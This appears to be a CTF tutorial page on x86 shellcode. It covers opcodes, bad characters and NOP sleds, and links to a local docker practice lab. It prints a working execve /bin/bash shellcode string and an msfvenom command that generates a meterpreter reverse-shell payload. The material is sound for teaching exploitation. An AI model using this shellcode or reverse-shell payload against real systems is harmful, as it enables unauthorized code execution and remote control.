A shellcode is a string of characters that represent an executable binary.

Here is a shellcode example that performs an execve call on /bin/bash -p (taken from exploit-db) :

shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

Opcode to string

In assembly language, opcodes are typically represented by mnemonic codes, such as "ADD" or "MOV", that are easier for humans to understand. These codes are then translated into machine code, which consists of a series of binary digits (0s and 1s) that the CPU can execute.

For example, for x86 architecture computers, the opcode 0x6A (in binary 01101010) corresponds to the push instruction (add a value to the top of the stack). Therefore, the instruction 0x6A 0x14 (01101010 00010100) corresponds to push 0x14 (add the hexadecimal value 0x14 , or 20 in decimal, to the top of the stack).

Then its possible to create a string that chain many of these opcodes ( such as the shellcode example showed in introduction ) and if the instruction pointer point these opcode, it will be executed as standard compiled program.

Bad chars

When creating shellcodes, some characters may be forbidden for various reasons. For example, the null byte may terminate the string, or the program may filter out certain bytes. These chard are called "bad chars" or "invalid chars".

Here is the common 4 bad chars :

  • 00 -> NULL

  • 0A -> new line ->

  • 0D -> Cariage return ->

  • FF -> Page break ->\f


NOP (no operation) instructions do exactly what they sound like: nothing.Which makes then very useful for shellcode exploits, because all they will do is run the next instruction.

If the exploit is padded on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches the real shellcode. This allows a greater margin of error as a shift of a few bytes forward or backwards won't affect the payload.

This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them.

Generate shellcode

Many shell code could be find on the internet. An other way is to generate it with tools such as msfvenom :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=1337 -f c -e x86/countdown

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 139 (iteration=0)
x86/countdown chosen with final size 139
Payload size: 139 bytes
Final size of c file: 610 bytes
unsigned char buf[] = 

The x86/countdown encoder will remove the most commons bad chars

In intel x86 assembly, NOP instructions are \x90.


In order to perform an arbitrary code execution, a shell code will be sent into the user input and the instruction pointer must be rewritten to jump into the shell code rather than the next intended instruction.

To rewrite the stack pointer, any techniques can be used such as buffer overflow or format string exploitation.

The stack must be executable in order to execute a shellcode

Here is a command to know the stack flags :

$ readelf -l chall | grep GNU_STACK

Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4


If you want to try this exploit by yourself, you can pull this docker image :

docker pull thectfrecipes/pwn:data_edit

Deploy the image using the followed command :

docker run --name format_string_data_edit -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_edit

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password


Last updated